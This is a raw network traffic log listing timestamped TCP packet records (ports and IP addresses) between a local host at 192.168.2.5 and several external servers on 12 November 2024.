Nov 12, 2024 04:16:27.163615942 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.163763046 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.163770914 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.163852930 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.163868904 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.164343119 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.164360046 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.164414883 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.164910078 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.164918900 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.165916920 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.165930986 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.165999889 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.166110992 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.166120052 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.179649115 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.179661989 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:27.179820061 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.180269957 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.180280924 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:27.223978043 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.224077940 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.224131107 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.224143982 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.228159904 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.228202105 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.228207111 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.236910105 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.236953020 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.236958027 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.237983942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:27.238043070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:27.245614052 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.245662928 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.245668888 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.314268112 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.314275980 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.341006041 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.341037035 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.341053009 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.341058016 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.341133118 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.341136932 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.344525099 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.344558954 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:27.344626904 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.345165968 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.345222950 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.345244884 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.345272064 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.345278025 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.345307112 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.353513956 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:27.353529930 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:27.354343891 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.354367971 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.354391098 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.354397058 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.354449034 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.356455088 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.365271091 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.365293980 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.365361929 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.365367889 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.365410089 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.374047041 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.376229048 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.376240969 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.376306057 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.376632929 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.376641989 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.382771015 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.383308887 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.383320093 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.414464951 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.417361021 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.417367935 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.460964918 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461015940 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461021900 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.461028099 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461066961 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.461071014 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461107016 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461138010 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461155891 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.461158991 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461203098 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461208105 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.461211920 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.461261034 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.462955952 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463017941 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463057041 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463067055 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.463071108 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463118076 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.463419914 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463450909 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463488102 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463526011 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.463531971 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.463572025 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.471467972 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.471515894 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.471545935 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.471564054 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.471568108 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.471646070 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.471651077 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.473553896 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.473603010 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.473608017 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.479001045 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.479049921 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.479054928 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.482952118 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.482996941 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.483001947 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.488029957 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.488082886 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.488089085 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.492724895 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.492775917 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.492780924 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.498256922 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.498306036 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.498311996 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.502264977 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.502336979 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.502341986 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.531930923 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.531958103 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.532006025 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.532013893 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.532018900 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.532049894 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.576369047 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576404095 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576428890 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576453924 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576457977 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.576463938 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576493025 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.576509953 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.576793909 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576855898 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576881886 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576915026 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.576916933 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576926947 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.576963902 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.577574015 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.577622890 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.577647924 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.577655077 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.577657938 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.577693939 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.578361034 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.578408957 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.578413010 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.578418016 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.578474045 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.579524994 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579684019 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579713106 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579735994 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579756021 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579766035 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.579770088 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.579796076 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.579796076 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.580482006 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.580627918 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.580667019 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.580672026 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.580704927 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.580754995 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.580760002 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.581434965 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.581656933 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.581661940 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.585364103 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.585608006 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.585613012 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.595720053 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.595748901 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:27.595810890 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.729811907 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.730132103 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.730163097 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.731110096 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.731180906 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.732345104 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.732404947 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.732616901 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.732625008 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.736865997 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.737045050 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.737065077 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.738023043 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.738089085 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.739252090 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.739308119 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.739479065 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.739485979 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.775239944 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.778723001 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.778753996 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.779629946 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.779694080 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.782054901 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.782118082 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.782465935 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.782474041 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.812309980 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.863816023 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.863876104 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.863931894 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.864336014 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.864352942 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.867077112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:27.869493961 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.869633913 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.871984005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:27.872881889 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.872893095 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.885459900 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.886009932 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.886137962 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.886154890 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.886884928 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.886889935 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.887386084 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.887396097 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.888113022 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.888115883 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.891773939 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.892206907 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.892222881 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.892627001 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.892632008 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.914864063 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.915395021 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.915417910 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.915432930 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.915450096 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.915834904 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.915843010 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.916376114 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.916389942 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.940813065 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.941344023 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.941361904 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.941828012 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.941832066 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.966459036 CET	49703	443	192.168.2.5	23.1.237.91
Nov 12, 2024 04:16:27.971822977 CET	443	49703	23.1.237.91	192.168.2.5
Nov 12, 2024 04:16:28.014743090 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.014843941 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.014894962 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.015079975 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.015079975 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.015089989 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.015096903 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.015496016 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.017339945 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.017482996 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.017961979 CET	49798	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.017976046 CET	443	49798	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.018080950 CET	49798	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.018187046 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.018191099 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.018199921 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.018203020 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.018630028 CET	49798	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.018639088 CET	443	49798	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.021301031 CET	49799	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.021326065 CET	443	49799	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.021384001 CET	49799	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.021548986 CET	49799	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.021559954 CET	443	49799	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.022748947 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.022798061 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.022864103 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.027148962 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.027158976 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.030118942 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.030162096 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.030296087 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.031137943 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.031152964 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.079610109 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.079672098 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.079729080 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.079953909 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.079961061 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.082808971 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.082829952 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.082894087 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.083878994 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.083889961 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.106977940 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.107297897 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.107305050 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.108320951 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.108385086 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.109421968 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.109469891 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.110200882 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.110207081 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.142570019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142585039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142596006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142606974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142620087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142644882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.142688036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.142716885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142729998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142740011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142752886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.142756939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.142786026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.142811060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.143069983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.143089056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.143100977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.143110037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.143137932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.143147945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.147680044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.147756100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.178344965 CET	49802	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.178370953 CET	443	49802	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.178484917 CET	49802	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.178770065 CET	49803	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.178807974 CET	443	49803	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.178867102 CET	49803	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.179124117 CET	49802	443	192.168.2.5	162.159.61.3
